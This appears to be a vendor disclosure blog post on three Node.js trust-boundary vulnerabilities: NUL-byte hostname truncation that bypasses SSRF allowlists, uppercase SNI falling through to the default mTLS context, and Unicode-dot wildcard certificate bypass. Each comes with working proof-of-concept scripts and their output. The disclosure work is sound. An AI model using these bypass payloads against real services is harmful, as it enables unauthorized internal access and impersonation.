# Three trust boundary CVEs in Node.js > Security researchers disclose three distinct vulnerabilities affecting Node.js hostname and TLS stack layers, each enabling authentication bypasses through trust boundary violations. Author: Cantina Published: July 7, 2026 Topics: Node.js, CVE, security, TLS, DNS, vulnerability disclosure Canonical URL: https://www.cantina.security/blog/nodejs-tls-dns-trust-boundary-cves Cantina's AppSec agents map a codebase by trust boundary rather than function by function, and at each boundary it asks whether the authority granted there can be extended beyond its intended scope. Earlier Cantina disclosures have included a [critical RCE in Spring AI](https://cantina.security/blog/cantina-spring-ai-rce), a [privilege escalation in Spring Security](https://cantina.security/blog/spring-security-cve-2026-22754-xml-auth-bypass), a [race condition in Ruby core](https://cantina.security/blog/ruby-cve-2026-46727), [13-year-old bugs in WebKit](https://cantina.security/blog/webkit-vulnerabilities-apex-ios-26-5), a [privilege escalation in Anthropic's Claude Code](https://cantina.security/blog/cantina-claude-code-cve), and [44-year-old bugs in OpenSSH](https://cantina.security/blog/openssh-cve-2026-35385-cve-2026-35387). This post covers three distinct findings across all supported Node.js release lines, each targeting a different layer of the hostname and TLS stack. ## Finding 1: NUL byte hostname authority rebinding **Medium:** dns.lookup / net.connect • [Node.js advisory](https://nodejs.org/en/blog/vulnerability/june-2026-security-releases) JavaScript strings are length-prefixed and can contain embedded NUL characters without truncation. Native C-string APIs consume the same value as a null-terminated string and stop at the first `\0`. Node.js passes hostname strings from JavaScript through to `uv_getaddrinfo()` without stripping embedded NUL bytes, so a hostname like `127.0.0.1\0.trusted.internal` passes every JavaScript-layer check as a normal non-IP hostname while the native resolver only sees `127.0.0.1`. The practical impact is an SSRF allowlist bypass. An application that restricts hostnames to a trusted suffix still sees the full string at validation time. The actual DNS resolution and TCP connection target a completely different host. ### Vulnerable application setup (node.js) This pattern represents a typical hostname-allowlist guard before a proxy or webhook fetch. ```javascript const http = require('node:http'); const dns = require('node:dns'); const net = require('node:net'); const ALLOWED_SUFFIX = '.trusted.internal'; function isSafeHost(host) { if (net.isIP(host)) return false; if (!host.endsWith(ALLOWED_SUFFIX)) return false; return true; } http.createServer((req, res) => { const target = new URL(req.url, 'http://x'); const host = target.searchParams.get('host'); if (!isSafeHost(host)) { res.writeHead(403); res.end('Forbidden'); return; } dns.lookup(host, (err, addr) => { res.end(JSON.stringify({ host, resolved: addr, err: err?.code })); }); }).listen(8080); ``` ### Vulnerable code path (node.js internals) The call chain has five stages. NUL bytes survive every JavaScript-layer check and are only truncated at the C-string boundary inside the native resolver. [lib/internal/validators.js L162](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/internal/validators.js#L162-L166) The hostname is accepted after a type-only check. Embedded NUL is not rejected at the JavaScript boundary. ```javascript const validateString = hideStackFrames((value, name) => { if(typeof value !== 'string') throw new ERR_INVALID_ARG_TYPE(name, 'string', value); }); ``` [lib/internal/net.js L59](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/internal/net.js#L59-L63) Host classification uses full-string IP checks, so a NUL-containing hostname like `127.0.0.1\0.allowed.example` returns 0 and is handled as a non-IP hostname throughout the JS path. ```javascript function isIP(s) { if(isIPv4(s)) return 4; if(isIPv6(s)) return 6; return 0; } ``` [lib/dns.js L142](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/dns.js#L142-L232) The DNS path forwards the hostname to native resolution when `isIP(hostname)` returns 0. The raw JS string, NUL included, is passed to `cares.getaddrinfo()` without sanitisation. ```javascript function lookup(hostname, options, callback) { // ... if(hostname) { validateString(hostname, 'hostname'); // type-only: NUL bytes pass through } // ... const matchedFamily = isIP(hostname); // NUL host returns 0, non-IP path if(matchedFamily) { // fast-return for IP literals, not reached here return {}; } const req = new GetAddrInfoReqWrap(); req.hostname = hostname; // NUL still present in JS string // ... const err = cares.getaddrinfo( req, hostname, family, hints, order, // forwarded to native unchanged ); } ``` [src/cares_wrap.cc L1966](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/src/cares_wrap.cc#L1966-L2011) The native bridge converts the hostname with `ada::idna::to_ascii()` and dispatches into `uv_getaddrinfo()` via `ascii_hostname.data()`, a `const char*` view of the result. ```cpp std::string ascii_hostname = ada::idna::to_ascii(hostname.ToStringView()); // ... int err = req_wrap->Dispatch( uv_getaddrinfo, AfterGetAddrInfo, ascii_hostname.data(), nullptr, &hints); ``` [deps/uv/include/uv.h L996](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/deps/uv/include/uv.h#L996-L1001) The resolver sink takes `const char* node`. The OS `getaddrinfo(3)` stops reading at the first zero byte, discarding everything after the NUL and resolving a completely different host. ```c UV_EXTERN int uv_getaddrinfo(uv_loop_t* loop, uv_getaddrinfo_t* req, uv_getaddrinfo_cb getaddrinfo_cb, const char* node, // C-string: OS truncates at \0 const char* service, const struct addrinfo* hints); ``` ### Python trigger PoC ```python #!/usr/bin/env python3 import urllib.parse, urllib.request TARGET = "http://127.0.0.1:8080/proxy" nul_host = "127.0.0.1\0.trusted.internal" safe_host = "malicious-site.com" for host in (safe_host, nul_host): url = f"{TARGET}?host={urllib.parse.quote(host)}" try: resp = urllib.request.urlopen(url, timeout=5) print(f"[OK] {repr(host)}") print(" " + resp.read().decode()) except urllib.error.HTTPError as e: print(f"[{e.code}] {repr(host)}") ``` ### Observed output ``` $ python3 trigger.py [403] 'malicious-site.com' [OK] '127.0.0.1\x00.trusted.internal' { "host": "127.0.0.1\0.trusted.internal", "resolved": "127.0.0.1", "err": null } ``` The NUL payload passes the JavaScript allowlist check because endsWith() sees the full string. dns.lookup() forwards the raw string into uv_getaddrinfo() as a const char*, where the OS resolver truncates at the first zero byte and resolves 127.0.0.1. ## Finding 2: TLS SNI case-sensitive context selection **Medium:** tls.Server / server.addContext • [Node.js advisory](https://nodejs.org/en/blog/vulnerability/june-2026-security-releases) `server.addContext(servername, ctx)` stores per-hostname TLS contexts keyed by a regular expression compiled from the exact string supplied by the server operator. The RFC 5246 ClientHello `server_name` extension is case-preserving. Node.js tests the raw extension value against each stored regex without normalization. Sending an uppercase variant of a registered hostname misses all registered entries and causes Node.js to fall back to the default context. The exploitation chain proceeds as follows. First, an operator calls `server.addContext('admin.example.com', strictCtx)`. Node.js compiles this to the regex `^admin\.example\.com$` with no case-insensitive flag. An attacker then opens a TLS connection and sends a ClientHello with `server_name = ADMIN.EXAMPLE.COM`. The SNI callback iterates over `server._contexts` and tests each regex against the raw extension value and none match because the regex is case-sensitive. `callback(null, undefined)` is issued and Node.js falls through to the default context. The default context may present a different server certificate and may have weaker or absent mTLS client-certificate requirements. An attacker connecting with a certificate that would be rejected by the strict admin CA is accepted by the default CA. ### Vulnerable application setup (node.js) ```javascript const tls = require('node:tls'); const fs = require('node:fs'); const server = tls.createServer({ key: fs.readFileSync('default-srv.key'), cert: fs.readFileSync('default-srv.crt'), ca: fs.readFileSync('default-ca.crt'), requestCert: true, rejectUnauthorized: false, }); server.addContext('admin.example.com', { key: fs.readFileSync('admin-srv.key'), cert: fs.readFileSync('admin-srv.crt'), ca: fs.readFileSync('admin-ca.crt'), }); server.on('secureConnection', (sock) => { console.log({ sni: sock.servername, serverCert: sock.getCertificate()?.subject?.CN, authorized: sock.authorized, }); sock.end(); }); server.listen(8443, '127.0.0.1'); ``` ### Vulnerable code path (node.js internals) The call chain has five stages. The ClientHello SNI value is extracted verbatim in C++, compiled into a case-sensitive regex in JavaScript, tested without normalisation, and a miss silently routes the session to the default context. [src/crypto/crypto_tls.cc L106](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/src/crypto/crypto_tls.cc#L106-L119) The SNI value is read from the ClientHello as raw bytes and converted to a JS string with no case transformation applied. ```cpp void OnClientHello( void* arg, const ClientHelloParser::ClientHello& hello) { // ... Local servername = (hello.servername() == nullptr) ? String::Empty(env->isolate()) : OneByteString(env->isolate(), hello.servername(), // raw bytes, no toLower hello.servername_size()); } ``` [lib/internal/tls/wrap.js L1565](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/internal/tls/wrap.js#L1565-L1604) The configured servername is compiled into a case-sensitive regex. The SNI callback tests the raw ClientHello value against each stored entry without any normalisation step. ```javascript Server.prototype.addContext = function(servername, context) { // regex compiled from literal servername, no i flag, no toLower const re = new RegExp(`^${ servername .replace(/([.^$+?\\-\\[\\]{}])/g, '\\\\$1') .replaceAll('*', '[^.]*') }$`); this._contexts.push([re, secureContext.context]); }; function SNICallback(servername, callback) { const contexts = this.server._contexts; for (let i = contexts.length - 1; i >= 0; --i) { const elem = contexts[i]; if (elem[0].test(servername)) { // ADMIN.EXAMPLE.COM fails case-sensitive regex callback(null, elem[1]); return; } } callback(null, undefined); // no match, default context remains } ``` [lib/internal/tls/wrap.js L206](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/internal/tls/wrap.js#L206-L230) When the SNI callback yields no context, `loadSNI` sets nothing on the handle and the TLS session proceeds with the default context set at server creation. ```javascript function loadSNI(info) { // ... owner._SNICallback(servername, (err, context) => { // ... if (context) // only set when SNICallback found a match owner._handle.sni_context = context.context || context; requestOCSP(owner, info); // proceeds with default context if sni_context unset }); } ``` [src/crypto/crypto_tls.cc L1591](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/src/crypto/crypto_tls.cc#L1591-L1612) `CertCbDone` reads `sni_context` from the JS object. Only when a context is present does it call `setSniContext` and `SetCACerts`. A case-mismatch leaves the default CA behavior intact. ```cpp void TLSWrap::CertCbDone(const FunctionCallbackInfo& args) { // ... Local ctx = object->Get(env->context(), env->sni_context_string()) .FromMaybe(Local()); if (ctx.IsEmpty()) [[unlikely]] return; // no sni_context set, default CA remains active SecureContext* sc = Unwrap(ctx.As()); if (w->ssl_.setSniContext(w->sni_context_->ctx()) && !w->SetCACerts(sc)) { // ... } } ``` [lib/internal/tls/wrap.js L1208](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/internal/tls/wrap.js#L1208-L1218) Server-side authorization is derived from `verifyError()`. Wrong context selection changes which CA validates the client certificate, changing the authorization outcome directly. ```javascript function onServerSocketSecure() { if (this._requestCert) { const verifyError = this._handle.verifyError(); if (verifyError) { this.authorizationError = verifyError.code; if (this._rejectUnauthorized) this.destroy(); } else { this.authorized = true; // wrong CA selected, wrong auth outcome } } } ``` ### Node.js trigger PoC ```javascript 'use strict'; const tls = require('node:tls'); const { execFileSync } = require('node:child_process'); const os = require('node:os'); const path = require('node:path'); const fs = require('node:fs'); const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-sni-')); const p = (n) => path.join(tmp, n); const sh = (cmd, args) => execFileSync(cmd, args, { stdio: 'pipe' }); function mkCert(cn, san, caKey, caCrt, outKey, outCrt) { sh('openssl', ['req','-newkey','rsa:2048','-nodes','-sha256','-subj',`/CN=${cn}`,'-keyout',outKey,'-out',p('tmp.csr')]); fs.writeFileSync(p('tmp.ext'), `subjectAltName=DNS:${san}\n`); sh('openssl', ['x509','-req','-sha256','-days','1','-extfile',p('tmp.ext'),'-in',p('tmp.csr'),'-CA',caCrt,'-CAkey',caKey,'-CAcreateserial','-out',outCrt]); } function mkCA(cn, outKey, outCrt) { sh('openssl', ['req','-x509','-newkey','rsa:2048','-nodes','-sha256','-days','1','-subj',`/CN=${cn}`,'-keyout',outKey,'-out',outCrt]); } mkCA('Default CA', p('def-ca.key'), p('def-ca.crt')); mkCA('Admin CA', p('adm-ca.key'), p('adm-ca.crt')); mkCert('default.example.com', 'default.example.com', p('def-ca.key'), p('def-ca.crt'), p('def.key'), p('def.crt')); mkCert('admin.example.com', 'admin.example.com', p('adm-ca.key'), p('adm-ca.crt'), p('adm.key'), p('adm.crt')); const server = tls.createServer( { key: fs.readFileSync(p('def.key')), cert: fs.readFileSync(p('def.crt')) }, (s) => s.end() ); server.addContext('admin.example.com', { key: fs.readFileSync(p('adm.key')), cert: fs.readFileSync(p('adm.crt')), }); const allCAs = [fs.readFileSync(p('def-ca.crt')), fs.readFileSync(p('adm-ca.crt'))]; function probe(port, sni) { return new Promise(resolve => { const s = tls.connect( { host: '127.0.0.1', port, servername: sni, ca: allCAs, checkServerIdentity: () => {} }, () => { const cn = s.getPeerCertificate()?.subject?.CN ?? 'unknown'; resolve({ sni, serverCN: cn, hitAdminContext: cn === 'admin.example.com' }); s.end(); } ); s.on('error', (e) => resolve({ sni, error: e.message })); }); } server.listen(0, '127.0.0.1', async () => { const port = server.address().port; const lower = await probe(port, 'admin.example.com'); const upper = await probe(port, 'ADMIN.EXAMPLE.COM'); console.log(JSON.stringify({ node: process.version, lowercase_sni: lower, uppercase_sni: upper, bypassObserved: lower.hitAdminContext && !upper.hitAdminContext, }, null, 2)); server.close(); }); ``` ### Observed output ```json { "node": "v24.15.0", "lowercase_sni": { "sni": "admin.example.com", "serverCN": "admin.example.com", "hitAdminContext": true }, "uppercase_sni": { "sni": "ADMIN.EXAMPLE.COM", "serverCN": "default.example.com", "hitAdminContext": false }, "bypassObserved": true } ``` Lowercase SNI correctly routes to the admin context and the server presents the admin certificate. Uppercase SNI falls through to the default context and presents the default certificate instead, bypassing all per-tenant mTLS enforcement bound to the strict admin context. ## Finding 3: unicode dot wildcard depth bypass in checkServerIdentity **High** tls.checkServerIdentity / dns.lookup • CVE-2026-48618 • [Node.js advisory](https://nodejs.org/en/blog/vulnerability/june-2026-security-releases) `tls.checkServerIdentity()` splits the presented hostname into DNS labels by calling JavaScript's `String.prototype.split('.')`, which splits only on U+002E (ASCII full stop). The DNS resolution path passes the same hostname through `ada::idna::to_ascii()` before calling `uv_getaddrinfo()`. That conversion maps several Unicode full-stop code points, including U+3002 (IDEOGRAPHIC FULL STOP), to ASCII `.`. A hostname containing U+3002 therefore has a different label count depending on which code path processes it. The exploitation chain is as follows. First, an attacker controls the hostname passed to `tls.connect()` and supplies `foo。bar.example.com` (the second dot is U+3002). Node.js then calls `checkServerIdentity('foo。bar.example.com', cert)`. The `splitHost` function in `lib/tls.js` splits on U+002E only, producing `['foo。bar', 'example', 'com']`, which is three labels. The certificate SAN is `DNS:*.example.com`, which also splits to three labels `['*', 'example', 'com']`. The label counts match and the wildcard comparison passes, so the socket is marked authorized. Meanwhile, `dns.lookup` resolves the same hostname via IDNA normalization, producing `foo.bar.example.com` with four labels, a completely different subdomain depth that the wildcard was never intended to cover. The application trusts the TLS session as if it connected to a genuine subdomain of `example.com`. ### Vulnerable application setup (node.js) ```javascript const tls = require('node:tls'); const fs = require('node:fs'); function fetchFromPartner(host, port) { return new Promise((resolve, reject) => { const socket = tls.connect({ host, port, ca: fs.readFileSync('ca.crt'), }, () => { resolve({ authorized: socket.authorized, host }); socket.end(); }); socket.on('error', reject); }); } fetchFromPartner('foo。bar.example.com', 8443) .then(console.log) .catch((e) => console.log({ error: e.message })); ``` ### Vulnerable code path (node.js internals) The vulnerability arises from a split between the certificate verification path and the DNS resolution path. Both operate on the same raw hostname string but apply different Unicode normalisation, producing different label counts for the same input. [lib/_http_agent.js L410](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/_http_agent.js#L410-L441) The HTTP agent computes the TLS servername from the raw `host` option or Host header and forwards it unless it is already an IP literal. No Unicode normalisation is applied. ```javascript function calculateServerName(options, req) { let servername = options.host; const hostHeader = req.getHeader('host'); if (hostHeader) { // strip port, unwrap IPv6 brackets servername = hostHeader.split(':', 1)[0]; } if (net.isIP(servername)) servername = ''; // suppress IP literals return servername; // Unicode hostname passed through unchanged } ``` [lib/internal/tls/wrap.js L1655](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/internal/tls/wrap.js#L1655-L1666) The TLS socket authorization path uses `options.servername || options.host` as-is and passes that raw value to `checkServerIdentity()`. ```javascript if (!verifyError && !this.isSessionReused()) { const hostname = options.servername || options.host || (options.socket?._host) || 'localhost'; // raw Unicode hostname, not IDNA-normalised const cert = this.getPeerCertificate(true); verifyError = options.checkServerIdentity(hostname, cert); } ``` [lib/tls.js L293](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/lib/tls.js#L293-L317) `splitHost()` splits only on ASCII U+002E. U+3002 (IDEOGRAPHIC FULL STOP) is not treated as a separator, so a host containing it has fewer labels than after IDNA normalisation. `check()` compares label counts to decide wildcard depth and passes because both sides count three labels. ```javascript function splitHost(host) { // splits on U+002E only, U+3002 '。' is not a separator here return unfqdn(host).replace(/[A-Z]/g, toLowerCase).split('.'); } // 'foo。bar.example.com'.split('.') gives ['foo。bar','example','com'] (3 labels) // '*.example.com'.split('.') gives ['*','example','com'] (3 labels) function check(hostParts, pattern, wildcards) { const patternParts = splitHost(pattern); if (hostParts.length !== patternParts.length) // 3 === 3, passes return false; // pattern empty components check omitted for brevity const isBad = (s) => /[^!-~]/u.test(s); if (patternParts.some(isBad)) // only checks patternParts (the SAN), not hostParts return false; // 'foo。bar' in hostParts is never tested by isBad, wildcard passes } ``` [src/cares_wrap.cc L1961](https://github.com/nodejs/node/blob/9f5a2c929274d4ece400a5890582adc9ab779492/src/cares_wrap.cc#L1961-L1967) The DNS bridge applies `ada::idna::to_ascii()` before dispatching to `uv_getaddrinfo()`. IDNA maps U+3002 to U+002E, expanding the hostname to four labels, a different depth than what the verifier counted against the wildcard. ```cpp node::Utf8Value hostname(env->isolate(), args[1]); // ... std::string ascii_hostname = ada::idna::to_ascii(hostname.ToStringView()); // foo。bar.example.com normalizes to foo.bar.example.com (4 labels after IDNA) // certificate verifier already passed on 3-label raw split // ... int err = req_wrap->Dispatch( uv_getaddrinfo, AfterGetAddrInfo, ascii_hostname.data(), nullptr, &hints); ``` ### Node.js trigger PoC The entire setup is self-contained. The script generates an in-process TLS server with a `DNS:*.example.com` wildcard certificate and connects twice, once with ASCII dots and once with the Unicode ideographic full stop. ```javascript 'use strict'; const tls = require('node:tls'); const { execFileSync } = require('node:child_process'); const { domainToASCII } = require('node:url'); const os = require('node:os'); const path = require('node:path'); const fs = require('node:fs'); const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-udot-')); const p = (n) => path.join(tmp, n); const sh = (cmd, args) => execFileSync(cmd, args, { stdio: 'pipe' }); sh('openssl', [ 'req', '-x509', '-newkey', 'rsa:2048', '-nodes', '-sha256', '-days', '1', '-subj', '/CN=PoC CA', '-keyout', p('ca.key'), '-out', p('ca.crt'), ]); sh('openssl', [ 'req', '-newkey', 'rsa:2048', '-nodes', '-sha256', '-subj', '/CN=*.example.com', '-keyout', p('srv.key'), '-out', p('srv.csr'), ]); fs.writeFileSync(p('san.ext'), 'subjectAltName=DNS:*.example.com\n'); sh('openssl', [ 'x509', '-req', '-sha256', '-days', '1', '-extfile', p('san.ext'), '-in', p('srv.csr'), '-CA', p('ca.crt'), '-CAkey', p('ca.key'), '-CAcreateserial', '-out', p('srv.crt'), ]); const ca = fs.readFileSync(p('ca.crt')); const server = tls.createServer( { key: fs.readFileSync(p('srv.key')), cert: fs.readFileSync(p('srv.crt')) }, (s) => s.end('ok'), ); function probe(port, host) { return new Promise((resolve) => { const s = tls.connect({ host: '127.0.0.1', port, servername: host, ca }, () => { resolve({ host, ascii: domainToASCII(host), authorized: s.authorized, authorizationError: s.authorizationError ?? null }); s.end(); }); s.on('error', (e) => resolve({ host, error: e.message })); }); } server.listen(0, '127.0.0.1', async () => { const port = server.address().port; const control = await probe(port, 'foo.bar.example.com'); const trigger = await probe(port, 'foo。bar.example.com'); console.log(JSON.stringify({ node: process.version, control, trigger, bypassObserved: !control.authorized && trigger.authorized === true }, null, 2)); server.close(); }); ``` ### Observed output ```json { "node": "v24.15.0", "control": { "host": "foo.bar.example.com", "error": "Host: foo.bar.example.com. is not in the cert's altnames: DNS:*.example.com" }, "trigger": { "host": "foo。bar.example.com", "ascii": "foo.bar.example.com", "authorized": true, "authorizationError": null }, "bypassObserved": true } ``` The control path with ASCII dots is correctly rejected. The Unicode-dot path is accepted as authorized against the same certificate. The IDNA conversion in the lookup path produces the correct four-label ASCII hostname for routing, but certificate verification has already run against the three-label raw string and passed the wildcard check. ## About Cantina's AppSec agent [Cantina's AppSec agent](https://www.cantina.security/apex) reasons through a codebase the way an experienced researcher does: it maps trust boundaries, forms multi-step hypotheses about where data crosses them, and tests each one end to end against a running target. That reasoning is dual-use by nature: the analysis that confirms a flaw is exploitable is the same analysis that could help someone weaponize it, which is exactly why frontier models guard it by default. Every finding is reproduced with a working proof of concept and then revalidated by Cantina's research team before it leaves the building. ## About Cantina Cantina ([cantina.security](http://cantina.security)) is an agentic security operating system that delivers staff-level security work at scale, so lean teams get the capacity of a team many times their size. It finds the issues that matter, prioritizes them, remediates them correctly, and proves the loop is closed across both code and runtime. Its offensive AppSec agent feeds that loop with real-world vulnerabilities like the three described here. [Book a demo](https://cantina.security/demo) to see what Cantina finds in your stack.